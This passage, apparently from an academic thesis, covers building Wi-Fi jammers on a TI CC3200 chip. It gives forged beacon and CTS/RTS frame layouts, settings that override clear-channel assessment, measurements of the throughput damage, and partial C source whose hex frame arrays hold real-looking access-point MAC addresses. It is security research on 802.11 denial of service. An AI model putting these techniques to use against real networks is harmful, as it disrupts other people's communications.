3.4.  Quick start project 0 guide 
The objective of this section is to describe briefly how to build a demo project 
(“Hello World” equivalent) in CCS and running it on CC3200 chipset. Most of 
this section is based on this tutorial [13], which helps us to import a demo 
project from SDK, modify some part of the codes and try to build and compile 
the project. After the compilation, we execute the program and observe the 
result with a terminal.  
As the next figure indicates, the demo project performs an internet connectivity 
test to a TI server: 
 
                                                Figure 19 demo scheme 
CC3200 chipset will set as Station mode and try to send ping to an external 
server. For this, it should be previously connected to the router connecting to 
the Internet network. 
To import the CSS project, SDK path should be indicated. In this case, the path 
is shown as below. Please adapt the project path for each case. 
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Figure 20 project path 
In order to build the project successfully, the following libraries should be 
imported from the SDK directory: 
- driverlib 
- oSlib 
- simplelink 
- ti_rtos_config 
- wlan_station 
Note: Do not check the option “copy project into workspace” for the 
importation. 
The demo project will be wlan_station and the other imported projects are 
needed as libraries for the correct compilation.  
After importing the project, it’s necessary to verify the project configuration. 
Therefore, go to “ti_rtos_config” project, right click, and click properties option 
as shown: 
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Figure 21  ti_rtos_config 
In the RTSC tab Verify that XDCtools uses the last version (see fig. 24(?)). Also 
make sure the target name and platform value are set as as shown in the 
figure24(?). 
 
A building project process should be performed after the previous configurations. 
simplelink project would the first project for building. For this, select the 
simplelink project and click Project option on CCS menu and then select the 
build project option: 
 
Figure 22 Build Project option 
Once that building process finishes, please repeat the same procedure to: 
1. ti_rtos_config 
2. driverlib 
3. oslib 
It’s strongly recommended to build each project in the above order. 
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Now, after the code modification, just build the wlan_station project as before. 
For a correct debugging process, it’s important to set the target configuration 
(set the CC3200.ccxml as the default target for the debugging); for this, click 
view option on the CCS menu and then click the target configuration 
option>import target configuration. Find the correct path to the CC3200.ccxml 
file for the import: “Your CC3200 SDK path”\tools\ccs_patch\CC3200.ccxml 
Note: Please select the copy file option to do the import.  
 
 
Figure 23 target configuration option 
Please set the CC3200.ccxml as the default target for the debugging. 
At this point, the demo project is all prepared for debugging. To verify the 
correct functionality, it’s necessary to connect the CC3200 chipset and click the 
debug option on the CCS menu. If there is no compilation error, it will generate 
and executable binary file and automatically switch to the debug interface: 
 
Figure 24 demo Project debug interface 
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In order to visualize or interact with CC3200, Tera-term terminal has been used 
(monitoring messages and keyboard input). To connect between the terminal 
and the chip, simply select the Serial COM port where the chip is connected: 
 
                                                                        Figure 25 Tera-term 
After the connection, the baud rate should be changed to 115200. 
 
   Figure 26 Tera-term configuration 
So, if we want to connected to the router, we will have to modify some code in 
the demo project. 
To be more specific, we should edit the common.h file located at: 
wlan_station>inludes>example/common>common.h 
The following lines must be modified accordingly:  
 
                                                                 Figure 27 common.h file 
It is necessary to know the name of the Wi-Fi network and put its value to 
SSID_NAME variable. Next, configure the security mechanism matching that of 
the router. For the most common case it should be WPA/WPA2. Obviously, you 
need to provide the security key to the demo project for the correct 
authentication.  
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If the project runs successfully on the chip, it will try to ping the router first and 
then ping a remote TI server trying to establish the internet connectivity. A 
similar dialog should be visualized in Tera-term as below: 
 
Figure 28 Demo Project final result  
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Chapter 4. Constant Jammer 
In this chapter, we are going to implement two types of constant jammer; first, 
we are going to create a jammer that sends beacon frames continuously. Then, 
TI radio tool will allow us to achieve the same goal.  
4.1. Theoretical study 
At the first part of the jammer implementation, a constant jammer has been 
created to test the Wi-Fi channel interference by sending an 802.11 manage 
frames at a specific channel constantly. 
As mentioned in chapter 2, beacon frame is one of the significant 802.11 
management frames that announces the presence of a WLAN network, 
provides association information and network capacity.  
Therefore, such frame is a good exploit point to start with our implementation. 
The main idea is forging beacon frames by the CC3200 and sending it through 
the 2.4GHz radio.  
Before programing the chip, it’s necessary to determinate the period or delay 
between frames to make the transmission continuously. The following figure 
shows a trace with a typical beacon frame: 
 
                                                        Figure 29 beacon frame 
As the above information shows, we could determinate that the Beacon frame 
size is typically around 254 bytes (changes slightly with AP model). In this study, 
all the frame transmissions are done at 2Mbits/s. Thus the period between 
consecutive frames should be: 
 
𝑃𝑒𝑟𝑖𝑜𝑑 = 𝐹𝑟𝑎𝑚𝑒 𝑠𝑖𝑧𝑒(𝑏𝑖𝑡𝑠) ÷ 𝑇𝑟𝑎𝑛𝑠𝑚𝑖𝑠𝑠𝑖𝑜𝑛 𝑠𝑝𝑒𝑒𝑑 (
𝑏𝑖𝑡𝑠
𝑠
)  
 
Since beacon frames are broadcast and, hence, are not followed by an ACK 
frame. We could conclude the period should be: 
𝑃𝑒𝑟𝑖𝑜𝑑 = 254 ∗ 8 (𝑏𝑖𝑡𝑠)  ÷ 2 ∙ 106 (
𝑏𝑖𝑡𝑠
𝑠
) = 0.001016 (𝑠) = 1.016 (𝑚𝑠) 
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The APIs provided in TI CC3200 Software Development Kit (SDK), offer a delay 
function based on the inter clock. It converts cycles to seconds and pause the 
program execution. The delay function is: 
 
                                             MAP_UtilsDelay (cycles);   
 
As the result of a constant test, we know that  4 ∙ 106 (cycles) correspond to 300 
ms. So  
 
𝐶𝑦𝑐𝑙𝑒𝑠 =  
4 ∙ 106 × 𝐷𝑒𝑙𝑎𝑦
300
 
To determine the number of cycles corresponding to 1.016 ms of delay: 
 
𝐶𝑦𝑐𝑙𝑒𝑠 =  
4 × 106 × 1.016
300
=  
4112000
300
≈ 13547 (𝑐𝑦𝑐𝑙𝑒𝑠) 
 
As mentioned previously, in order to obtain the delay in microseconds, it’s 
necessary to know the correspond cycles and using function MAP_UtilsDelay () 
For this matter, we can obtain 1.028 microseconds like this: 
 
                                            MAP_UtilsDelay (13547); 
 
4.2. Implementation 
After the amount of preparations, we could now focus on the implementation 
part to develop our constant jammer.  The entire program is based on a SDK 
example project called “Transceiver Mode” which allow us to communicate 
directly over the Wi-Fi PHY layer by using a raw socket. Mode detail information 
about the example project could be found on the link [15]. 
 
It’s very important to know that, with RAW sockets, the developer is responsible 
to generate the complete frame manually and sending it through the radio 
transmitter of the chip. So, a well-known data structure is a must to create our 
frames. As mentioned in chapter 1, each field of a beacon frame now has a 
significant meaning for us since we are going to manually create each field by 
using hexadecimal value.  
 
One smart thing to do is to capture an IEEE 802.11 level 2 traffic and dissect 
one beacon frame message, and reproduce it replacing the relevant values. In 
the figure 29 shows all the beacon frame fields, we should replace these 
important values such as transmitter address, source address, BSS ID etc.  
Catching all the information, we should be forging our own frame by creating a 
vector variable and putting each hexadecimal value. Each new field should be 
beginning in a new line. The following example is a handcrafted beacon frame: 
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                                             Figure 30 a part of a beacon frame in hexadecimal value 
We define this vector as “RawData” and we send this variable using the 
following function: 
 
iSoc = sl_Socket(SL_AF_RF,SL_SOCK_RAW,iChannel); 
 
lRetVal = sl_Send(iSoc,RawData,sizeof(RawData),\ 
                        SL_RAW_RF_TX_PARAMS(iChannel,  rate, iTxPowerLevel, 
PREAMBLE)); 
Before sending the data, it’s necessary to establish a Socket and configure it as 
“AF_RF” mode, which gains the radio access directly. After successfully having 
the socket, we should be sending our “RawData” through the socket and 
passing other parameters such as the channel, transmission rate and the power 
level. 
At the end, it’s important to close the socket using this function: 
                      lRetVal = sl_Close(iSoc); 
If the code works, CC3200 should be able to generate our “Raw Data” which is 
a fake beacon frame and directly sends it to a specific channel with a custom 
rate and power. 
 
Figure 31 beacon frame by CCS 
In wireshark, if there are beacon messages sent from “Texas_Ins”, it means our 
code has achieved its functionality.   
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4.3. constant jammer by TI radio tool 
After the amount of preparations, we could now focus on the implementation 
part to develop our constant jammer. In fact, as Texas Instrument provides 
different testing tools to simplify the development; a very useful radio testing 
tool is available to allow user check the chipset functionality in the PHY and Link 
layers. More information could be found on the official wiki page of the software 
[14]. 
 
Note: It’s indispensable to have the correct service pack for the 
corresponding version of radio testing tool!!! 
 
The following figure shows all the version and service pack information: 
 
 
Figure 32 radio tool version and service park information 
TI radio tool allows developer access to the radio directly in order to testing the 
PHY part of the chipset. After a success installation, the first run of the program 
should look like this: 
 
 
                                                              Figure 33  Radio Tool                                                           
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It’s necessary to insist if the program shows the following error: 
 
 
Figure 34 error message Radio Tool 
Such error might be caused by not removing the SOP2 pin on the chip. 
According the TI official guideline, running each external precompiled program 
should remove  the SOP2 pin before the execution. Therefore, to guarantee the 
proper operation of the program, developer should locate the SOP2 pin on the 
board and remove it. The following figure shows the location of the SOP2 pin, 
which its position could be variate for the different version of the chip: 
 
 
Figure 35 SOP2 pin on CC3200 
As indicated, it shows all the version details of the chipset. 
Once connected to the chip, select the ‘TX’ option and it shows the following 
menu: 
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Figure 36 Radio Tool TX menú 
Which, for our experiment should configure the following parameters: 
 
1. Tx mode: Continuous 
2. Channel: 11 
3. Rate: 2Mbps 
4. Power: can be changed based on different experiments 
5. Override CCA: checked 
6. Size: (0 – 1400 bytes) 
 
It’s important to check the Clear Channel Assessment (CCA) option as the chip 
should ignore such mechanism and sending the data regardless of the state of 
the channel.  Double check all the parameters are correctly set and click the 
“Start Tx Testing” button. It should be sending packets continuously. 
 
To verify the correct performance, we run wireshark in monitor mode in order to 
capture the traffic. It shows the following packets in the network: 
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                                        Figure 37 QoS frames generated by Radio tool 
As represented in the wireshark; the Radio Tool sending a QoS management 
frame (1400 bytes) + 18 bytes of header. Each frame is sent every 6.186 ms, 
which means that after completing the transmission, it immediately starts the 
next one.  
 
4.4. Evaluation 
In this point, it would be a major focus on the jammer evaluation. It is important 
for us to know how effective will be the jammer based on certain measurements. 
First, we have to determinate the maximum throughput in our testing 
environment.  
 
Figure 38  testing scenario 
 
As the figure above, the ideal testing scenario would be an Iperf [25] Client 
connected to router using Ethernet cable and the Iperf server establishes an 
IEEE 802.11 radio link with the router. We should measure the maxim 
throughput in this system and then adding our jammer into the system and 
observe the throughput variation. After several tests, we found the maximum 
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throughput the server can actually receive is 40 Mbps as the following figure 
shows: 
 
Figure 39 maximum throughput 
After finding the maximum transmission speed, we are going to add our jammer 
into the communication system and test its efficiency. For this matter, the 
experiment has divided into 3 parts: 
1. Configuring different parameters to find the maximum damage point 
2. Testing the efficiency in different power level at different distance 
3. Evaluating the power consumption at different power levels 
Note: All the experiments including the ideal measurement are carried out 
in a cellar with concrete walls where wireless interference is low.    
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4.3.1 Jammer effectiveness test: 
 
In this section, we are only focusing on the constant jammer. In all the next 
sections, constant jammer refers to the Radio tool implemented jammer due to 
its flexibility and easy usage. The jammer parameters used are defined in 
section 4.2.1.  
The following figure shows the Iperf server statistics after activating the constant 
jammer: 
  
Figure 40 constant jammer maximum damage 
We can see most of the Iperf packages are lost during the transmission. The 
average throughput has reduced 79%, which makes the average speed to 
8.4Mbps respect the ideal 40 Mbps transmission speed.  
 
 
 
4.3.2 Distance test: 
In this part, we are going to determine how would the distance between jammer 
and the communication system affect its efficiency. The general scheme 
proposed is the same as before but adding the distance parameter: 
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Figure 41 distance test scenario 
As the above figure shows, distance is a variable parameter, which has been 
set in eight different values. We also combine the transmission power (Txp) as 
a second variable in this test in order to observe the jammer effectiveness in 
relation with transmission distance and transmission power.  
The following table shows the test result: 
Txp(level)/Distance(m) 15 24,4 35 48 52 57,6 67,2 105 
0 15,39 13,02 12,68 13,16 21,64 16,46 11,96 8,53 
7 16,35 15,18 7,88 17,62 24,75 24,75 18,01 7,65 
15 17,02 12,03 8,04 13,05 29,7 26,7 18,12 3,37 
                                                        Table 6  constant jammer Distance test result 
Note: transmission power Txp unit is defined in the chipset datasheet, 
where 0 level is the maximum transmission power and 15 is the minimum. 
All the throughput results are in Mbits/s of the link under attack 
In order to improve the result visualization, we provide the following chart. In 
both the table and the chart, we could observe a several interesting phenomena. 
First, the worst throughput occurs when the jammer is at the furthest distance. 
This result is counterintuitive; the jammer should be effecting stronger when it is 
close to the system.  However, at the extreme point having the minimum 
transmission power makes a huge disaster to the communication.  
Here is one possible explanation. While the jammer signal, which consists in 
regular 802.11 frames, is received with enough power, the legitimate link is 
capable of avoiding collisions. When the jammer is far away, the jammer’s 
frames can no longer be properly detected and are thus always colliding, adding 
extra noise. Therefore, the jammer has a twofold effect. When the jammer is 
close to the attacker, it prevents transmissions due to the CSMA/CA; when the 
jammer is received with low power, it corrupts the signal increasing reception 
errors, which entail retransmissions and larger backoff periods.  
 
                                               Figure 42 constant jammer distance test result  
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Second strange phenomenon is the peak observed at 50 m. It’s difficult to 
determine the reason of such phenomenon. The result is very suspicious, which 
led us to repeat the experiment at the same point several times. However, the 
throughput still being higher than other surrounding points. After discussing 
such observation, we suppose that based on the geometrical form of the cellar, 
it produces a multipath scenario, reducing the jammer’s signal, which raise the 
throughput accidently.  
 
4.3.3 Energy consumption test: 
 
In this experiment, we have measured the energy consumption of the constant 
jammer in different power levels and transmission rates since it’s important to 
know how these factors would affect the energy use. We have tested our chip 
sending data at 1Mbps and 2Mbps using three different power levels as the 
previous experiment.  
The following tables show the result of the constant jammer’s energy 
consumption, where each result is an average value during 100ms 
measurement using Agilent N6705A power analyzer [24] 
Energy consumption @ 1Mbps: 
Txp/Power(W) Results 
0 0,87 (w) 
7 0,63 (w) 
15 0,61 (w) 
                                        Table 7   constant jammer energy consumption @ 1Mbps 
Energy consumption @ 2Mbps: 
Txp/Power(W) Results 
0 0,92 (w) 
7 0,64 (w) 
15 0,64 (w) 
                                      Table 8  constant jammer energy consumption  @ 2Mbps 
Note: All the results shown in the previous tables were measured in 
average values.  
 
Figure 43  constant jammer power consumption @ 2Mbps 
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In order to verify the constancy of the jammer, we have measured the time 
between frames and its probability. We have generated a Cumulative 
Distributed Function (CFD). 
In the figure 46, the constant jammer first transmits in a clear environment (i.e. 
no other transmitters) while running wireshark on a receiver.  We can observe 
that no frames has a period inferior than 6 (ms). Which means each frames are 
sending constantly at 6 (ms).  
However, after we added our communication through Iperf, we can observe that 
there is a transition curve because other transmissions were possible during the 
jammer activity making the jamming frames reception not uniformly distributed 
as before. This explains why legitimate IEEE 802.11 transmissions are not 
completely prevented by the continuous jammer. 
 
 
Figure 44 CDF of time between consecutive frames received from the constant jammer 
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Chapter 5. Deceive jammer 
In this chapter, we are going to implement a deceive jammer. We also start 
analyzing some important background as a previous preparation. Then, we will 
concentrate in the implementation and development. Finally, we test our 
jammer with a set of experiments and conclude our result. 
5.1. Theoretical study 
As mentioned in chapter 1, RTS/CTS are very important control messages for 
preventing “hidden node” problem. However, these messages could be 
exploited maliciously in order to produce a link layer DoS attack. More 
specifically, “duration” is the key field for such attack; it is coded with 16 bits and 
the value is expressed in microseconds, which indicates the amount of airtime 
the sending radio is reserving the channel for the pending frame and the 
acknowledgment. Radios on channel in earshot of this transmission (i.e. can 
demodulate this frame) will use this value in their NAV calculation. According to 
[16], the maximum value of duration field is 32767 microseconds; also a 
duration encoding table was provided to facilitate our further development. 
 
                                                          Figure 45 duration encoding table 
All the previous information give us a major help for our deceive jammer’s 
design and its mechanism. The objective is clear; forge gratuitous RTS/CTS 
messages and set duration field to the maximum value since we want to 
reserve a silent time as long as possible. Thus, all the devices who can decode 
this message will update their NAV value and hold their transmission since the 
channel supposed to be busy.  
In this way, it’s significant for us to know the maximum duration value in 
hexadecimal. In the previous figure, we can observe that duration is coded in 16 
bits or 2 bytes; a valid duration value in microseconds must set the last bit into 
zero. In order to code the Duration Field correctly, we have to be aware of the 
endianness of the system, so the order of the bytes written needs to be carefully 
chosen. 
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                     Figure 46 reading order from left to right 
 
                     Figure 47 reading order from right to left 
After some observations in wireshark, we have determinate that the second 
figure is the correct reading order. Above binary value in hexadecimal would be 
FFF7 
Unfortunately, FFF7 is not the correct value to interpret 32767 (ms). This occurs 
because. It reads following the little endian criteria with least significant bit first. 
So, this leads the byte  interpreted as 0xFF 0x7F. 
 
Figure 48 maximum duration in CTS frame 
 
5.2. Implementation 
The implementation of deceive jammer follows the same idea of the constant 
jammer using the same type of socket and sending data whereby using the 
same function. The only difference here is that we generate a legitimate 
(apparently) CTS frame as our raw data; CTS frames have a very simple 
structure compared to beacon frames: 
  
                                      Figure 49  CTS frames in hexadecimal 
As we can see in the figure, duration has been defined in the third row. For 
different duration just change this field and leave the rest idem.  
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The successful execution of the jammer leads forged CTS frames appear in our 
network as the following wireshark capture shows: 
 
Figure 50 CTS frames generated by CC3200 
5.3. Evaluation 
We keep the same evaluation methods to test our deceive jammer:  
1. Configuring different parameters to find the maximum damage point 
2. Testing the effectiveness in different power level at different distance 
3. Evaluates the different power consumption at different power level 
Note: All the experiments including the ideal measurement are realized in 
a cellar where could consider an isolated space with low Wireless 
interference.   
5.3.1 Jammer efficiency test: 
 
Deceive jammer has two configurable variables, value of duration field and 
delay (time between consecutive packets). In this experiment, we have tried 
different combinations of these variables with maximum transmission power for 
the purpose of finding the maximum damage.  
We set eight different delay (De) values for each duration value (Du). Our 
principle is to set De close to Du. The following figure brings us the result of this 
experiment: 
We have used five different duration values from the maximum (32ms) to small 
values like 4 or 2 ms in order to test how the effectiveness changes while we 
vary those parameters. In general, we could observe that throughput decreases 
when the De is very close or similar to Du.   In case of Du = De, we are 
completely blocking the communication; Iperf server and client are totally 
disconnected from AP and couldn’t even find the corresponding SSID in the 
network list.  
This is due to the fact that our CTS messages has reserved the target channel 
for 32 ms but no transmissions were really carried out. After 32 ms, it resends 
the same frame to block the channel again until the network is absolutely 
congested. Such jamming wouldn’t even allow APs to send beacon frames that 
makes the target network undiscoverable and unreachable.  
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                                               Figure 51 deceive jammer effectiveness test 
5.3.2 jammer distance test: 
In this experiment, we use the same method as we did with the constant 
jammer. We set eight different points; each point tested with three different 
power levels. Our goal is to determinate how is the jammer performance under 
a variation of the parameters above.  
The following table shows the test result: 
Txp(level)/Distance(m) 15 24,4 35 48 52 57,6 67,2 105 
0 5,21 5,79 5,91 5,70 6,37 7,63 8,88 32,31 
7 5,98 5,56 6,45 5,58 4,98 15,49 7,43 31,75 
15 5,85 4,91 5,90 5,24 6,32 9,16 6,84 31 
                                                     Table 9 deceive jammer Distance test result 
Note: transmission power Txp unit is defined in the chipset datasheet, 
where 0 level is the maximum transmission power and 15 is the minimum. 
All the throughput results are in Mbits/s 
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                                      Figure 52 deceive jammer distance test result 
In the previous result, we can notice that in the longest distance (105 m), the 
system is operates close to the maximum throughput, which means, our 
deceive jammer is not affecting the network.  
As we mentioned in the previous chapter, in such long distance, jammer’s 
frames become only background noise with the potential of being really harmful. 
However, deceive jammer doesn’t transmit constantly, this added noise doesn’t 
cause a significant damage as constant jammer does. 
 
5.3.3 Energy consumption test: 
We have tested our chip sending data at 1Mbps and 2Mbps using three 
different power levels as the previous experiment.  
The following tables show the result of the constant jammer’s energy 
consumption, where each result is an average value during 1-minute 
measurement using Agilent N6705A power analyzer [24] 
Energy consumption @ 1Mbps: 
Txp/Power(W) Results 
0 0,089 (w) 
7 0,084 (w) 
15 0,083 (w) 
                                        Table 10 deceive jammer energy consumption @ 1Mbps 
Energy consumption @ 2Mbps: 
Txp/Power(W) Results 
0 0,084 (w) 
7 0,082 (w) 
15 0,083 (w) 
                                      Table 11 deceive jammer energy consumption @ 2Mbps 
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Note: All the results shown in the previous tables were measured in 
average values. 
 
Figure 53 deceive jammer power consumption @ 2Mbps 
 
After the power consumption of both type of jammers, we have made a 
comparison using the above results: 
  
                                   Figure 54  constant jammer vs deceive jammer @1Mbps 
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                                   Figure 55 constant jammer vs deceive jammer @2Mbps 
We could see that deceive jammer is very efficient in terms of power 
consumption due to its periodic frame transmission. This result plays a 
significant role in the jammer evaluation since it affects our jammer’s life cycle. 
(More optimal in power consumption, longer life cycle jammer will have). 
For example, assuming that our external battery has 2,6 watts-hour (Wh) and 
our deceive jammer consumes 0,082 (w).This leads to an 31,70 hours working 
time. 
 
                      Figure 56 CC3200 with external power supply 
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Conclusion:  
In the end of this study, I would love to remark all the important points that we 
have gone through during this investigation. We have achieve the initial goal as 
proposed at the beginning as this document demonstrates the security issues of 
actual Wi-Fi devices and such problem is becoming a considerable threat since 
the huge amount of devices connecting the Internet using this technology.  
In order to reach the objective, we have first analyzed our project theoretically 
introducing some basic concepts of IEEE 802.11 standard both the historical 
and the technical. This leads to us to know that the current implementation has 
some vulnerabilities, which can be used with malicious intentiosn. We also 
exploited some control messages like Beacon frame and CTS/RTS, how they 
works and why it’s necessary to use these messages in a Wi-Fi network. 
In the technical part, we have chosen CC3200 of Texas Instrument to 
implement our jammer because of its stunning computational capacity, low 
power consumption and a wide range of programming guides and examples 
offered in the official web site. As a contribution, we have also made a step-by-
step tutorial to build our demo project using code compose studio.  
In addition, we have made two types of jammer coding our chip; constant 
jammer and deceive jammer. Both devices have caused serious interferences 
to the target channel. Furthermore, a set of experiments have been designed to 
test the limit and efficiency of both jammers. We first have configured our chip in 
order to maximize the damage. We have known from this experiment that 
constant jammer will have the maximum damage if we maximize the size of the 
payload. For deceive jammer, we can jam the entire system if we configure 
properly the duration field of RTS/CTS frames and the periodicity of those 
frames.  
After we have tested how distance and transmission power will affect our 
jammer’s performance. In this experiment, we have noticed a very interesting 
phenomenon, which the worst throughput of the constant jammer was found in 
the longest distance. This happens because jammer’s signal couldn’t be 
decoded successfully, it simply converts to an extra noise that interferes the 
channel.  
Finally, we have tested the power consumption in both devices. In this 
experiment, we have observed that constant jammer is very inefficient due to its 
constant transmission and accessing the radio continuously. On the other hand, 
the deceive jammer saves 10 times energy than constant jammer as it transmits 
periodically. 
In the end, it was a very interesting project, which I could apply all the 
knowledge I have learnt from the career (signal analysis, network monitoring, 
programming etc.). 
It would be an interesting point to investigate other possible jammer 
implementations in the future such as a reactive jammer, which only initialize 
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the attack if it senses an ongoing data transmission in a specific channel.  
Furthermore, we could redesign the deceive jammer that jamming not only one 
channel but also the entire 2.4GHz bandwidth, it could send a 32 ms CTS 
message and reestablish the socket sending the same message into another 
channel repeating this procedure, it could end up blocking all the 13 possible 
channels. This progressive DoS attack would be also effective for devices who 
implement frequency hopping as a defense against jamming.  
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Acronyms 
CCA  Clear Channel Assessment 
CCS  Code Composer Studio 
CDMA/CA  Carrier Sense Multiple Access with Collision Avoidance 
CSMA/CD  Carrier Sense Multiple Access with Collision Detection 
CTS  Clear To Send 
CW  Contention Window 
DBPSK  Differential Binary Phase Shift Keying 
DCF  Distributed Coordination Function 
DIFS  Distributed Inter-Frame Space 
DoS  Denial of Service 
DQPSK  Differential Quadrature Phase Shift Keying 
FCC  federal Communications Commission 
HCF  Hybrid Coordination Function 
IDE  Integrated Development Environment 
IoT  Internet of the Things 
LAN  local area network 
MAC  Medium Access Control 
MIMO  Multiple Input Multiple Output 
MITM  Man In The Middle 
MU-MIMO  Multi user Multiple Input Multiple Output 
NAV  Network Allocation Vector 
OFDM  Orthogonal Frequency Division Multiplexing 
PCF  Point Coordination Function 
RA  Receiver Address 
RTS  Request To Send 
SIFS  Short Inter-Frame Space 
SSID  Service Set Identifier 
TA  Transmitter Address 
TI  Texas Instrument 
WLAN  wireless local area network  
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Annex 
 
// Standard includes 
#include <stdio.h> 
#include <string.h> 
#include <stdlib.h> 
// Simplelink includes 
#include "simplelink.h" 
 
//Driverlib includes 
#include "hw_types.h" 
#include "hw_ints.h" 
#include "interrupt.h" 
#include "utils.h" 
#include "uart.h" 
#include "hw_memmap.h" 
#include "prcm.h" 
#include "rom.h" 
#include "rom_map.h" 
 
//Common interface includes 
#include "common.h" 
#ifndef NOTERM 
#include "uart_if.h" 
#endif 
 
#include "pinmux.h" 
 
 
#define APPLICATION_NAME        "TRANSCEIVER_MODE" 
#define APPLICATION_VERSION     "1.1.1" 
 
#define PREAMBLE            1        /* Preamble value 0- short, 1- long */ 
#define CPU_CYCLES_1MSEC (80*1000) 
 
// Application specific status/error codes 
typedef enum{ 
    // Choosing -0x7D0 to avoid overlap w/ host-driver's error codes 
    TX_CONTINUOUS_FAILED = -0x7D0, 
    RX_STATISTICS_FAILED = TX_CONTINUOUS_FAILED - 1, 
    DEVICE_NOT_IN_STATION_MODE = RX_STATISTICS_FAILED - 1, 
 
    STATUS_CODE_MAX = -0xBB8 
}e_AppStatusCodes; 
 
 
typedef struct 
{ 
    int choice; 
    int channel; 
    int packets; 
    SlRateIndex_e rate; 
    int Txpower; 
}UserIn; 
 
//***************************************************************************
** 
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//                 GLOBAL VARIABLES -- Start 
//***************************************************************************
** 
volatile unsigned long  g_ulStatus = 0;//SimpleLink Status 
unsigned long  g_ulGatewayIP = 0; //Network Gateway IP address 
unsigned char  g_ucConnectionSSID[SSID_LEN_MAX+1]; //Connection SSID 
unsigned char  g_ucConnectionBSSID[BSSID_LEN_MAX]; //Connection BSSID 
//---YFG+15-09-2016+INI 
// 0xDC, 0x53, 0x7C, 0x14,0x94, 0x89,   /* destination */ //mac del AP (casa 
de Madrid) 
// 0x58, 0x23, 0x8C, 0x04,0x89, 0x9B,   /* destination */ //mac del AP (casa 
de Barcelona) 
// 0xE8, 0x04, 0x62, 0xF6,0xFF, 0x21,   /* destination */ //mac del AP (EETAC, 
cafeteria) 
 
//correct Beacon.... 
char RawData[] = { 
         //---- wlan header start -----// 
      //Fabricamos un beacon 
             0x80,                                
// version , type sub type // 
             0x00,                                
// Frame control flag // 
             0x00, 0x00, 
          0xFF, 0xFF, 0xFF, 0xFF,0xFF, 
0xFF,   // destination // //mac del AP (cafeteria de la Uni) 
          0xF4, 0xB8, 0x5E, 0x04,0xF5, 
0x7D, 
          0xF4, 0xB8, 0x5E, 0x04,0xF5, 
0x7D,  // bssid //       // mac del AP 
             0xa0, 0xaf, 
          0x0d, 0x62, 0x71, 0x7f, 0x13, 
0x00, 0x00, 0x00, 
          0x64, 0x00, 
          0x11, 0x04, 
          0x00, 0x0c, 0x54, 0x48, 0x4f, 
0x4d, 0x5f, 0x4f, 0x4e, 0x4f, 0x36, 0x36, 0x38, 0x32, 
          0x01, 0x08, 0x82, 0x84, 0x8b, 
0x96, 0x24, 0x30, 0x48, 0x6c, 
          0x30, 0x01, 0x0d, 
          0x05, 0x04, 0x01, 0x02, 0x00, 
0x00, 
          0x2a, 0x01, 0x04, 
          0x2f, 0x01, 0x04, 
          0x30, 0x18, 0x01, 0x00, 0x00, 
0x0f, 0xac, 0x02, 0x02, 0x00, 0x00, 0x0f, 0xac, 0x04, 0x00, 0x0f, 0xac, 0x04, 
0x00, 0x0f, 0xac, 0x02, 0x01, 0x00, 0x00, 0x0f, 0xac, 0x02, 0x0c, 0x00, 
          0x32, 0x04, 0x0c, 0x12, 0x18, 
0x60, 
          0x2d, 0x1a, 0xfc, 0x18, 0x1b, 
0xff, 0xff, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 
          0x3d, 0x16, 0x09, 0x08, 0x15, 
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 
          0xdd, 0x09, 0x00, 0x10, 0x18, 
0x02, 0x05, 0xf0, 0x2c, 0x00, 0x00, 
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          0xdd, 0x1c, 0x00, 0x50, 0xf2, 
0x01, 0x01, 0x00, 0x00, 0x50, 0xf2, 0x02, 0x02, 0x00, 0x00, 0x50, 0xf2, 0x04, 
0x00, 0x50, 0xf2, 0x02, 0x01, 0x00, 0x00, 0x50, 0xf2, 0x02, 0x0c, 0x00, 
          0xdd, 0x18, 0x00, 0x50, 0xf2, 
0x02, 0x01, 0x01, 0x80, 0x00, 0x03, 0xa4, 0x00, 0x00, 0x27, 0xa4, 0x00, 0x00, 
0x42, 0x43, 0x5e, 0x00, 0x62, 0x32, 0x2f, 0x00, 
          0x00,0x00,0x60,0x20}; 
 
 
//fabricamos un CTS 
/*char RawData[] = { 
             //---- wlan header start -----// 
                0xc4, 
                0x00, 
                0xFF, 0x7F, //duration field 
                0xF4, 0xB8, 0x5E, 0x04, 0xF5, 0x7C, 
                0x00, 0x00, 0x00, 0x20}; 
  //---YFG+15-09-2016+FIN*/ 
 
//correct RTS 
/*char RawData[] = { 
 
      //Fabricamos un beacon 
    //fabricamos un RTS 
    0xb4, 
    0x00, 
    0xFF, 0x7F, 
    0x58, 0x23, 0x8C, 0x04,0x89, 0x9B, 
    0xF4, 0xB8, 0x5E, 0x04,0xF5, 0x7D, 
    0x00, 0x20, 0x00, 0x00};*/ 
  //---YFG+15-09-2016+FIN 
 
#if defined(ccs) 
extern void (* const g_pfnVectors[])(void); 
#endif 
#if defined(ewarm) 
extern uVectorEntry __vector_table; 
#endif 
//***************************************************************************
** 
//                 GLOBAL VARIABLES -- End 
//***************************************************************************
** 
 
 
//***************************************************************************
* 
//                      LOCAL FUNCTION PROTOTYPES 
//***************************************************************************
* 
static UserIn UserInput(); 
static int Tx_continuous(int iChannel,SlRateIndex_e rate,int 
iNumberOfPackets,\ 
                                   int iTxPowerLevel,long dIntervalMiliSec); 
static int RxStatisticsCollect(); 
static void DisplayBanner(char * AppName); 
static void BoardInit(void); 
 
 
Implementation of a programmable Wi-Fi jammer  59 
 
 
//***************************************************************************
** 
// SimpleLink Asynchronous Event Handlers -- Start 
//***************************************************************************
** 
 
 
//***************************************************************************
** 
// 
//! \brief The Function Handles WLAN Events 
//! 
//! \param[in]  pWlanEvent - Pointer to WLAN Event Info 
//! 
//! \return None 
//! 
//***************************************************************************
** 
void SimpleLinkWlanEventHandler(SlWlanEvent_t *pWlanEvent) 
{ 
    switch(pWlanEvent->Event) 
    { 
        case SL_WLAN_CONNECT_EVENT: 
        { 
            SET_STATUS_BIT(g_ulStatus, STATUS_BIT_CONNECTION); 
 
            // 
            // Information about the connected AP (like name, MAC etc) will 
be 
            // available in 'slWlanConnectAsyncResponse_t' - Applications 
            // can use it if required 
            // 
            //  slWlanConnectAsyncResponse_t *pEventData = NULL; 
            // pEventData = &pWlanEvent->EventData.STAandP2PModeWlanConnected; 
            // 
 
            // Copy new connection SSID and BSSID to global parameters 
            memcpy(g_ucConnectionSSID,pWlanEvent->EventData. 
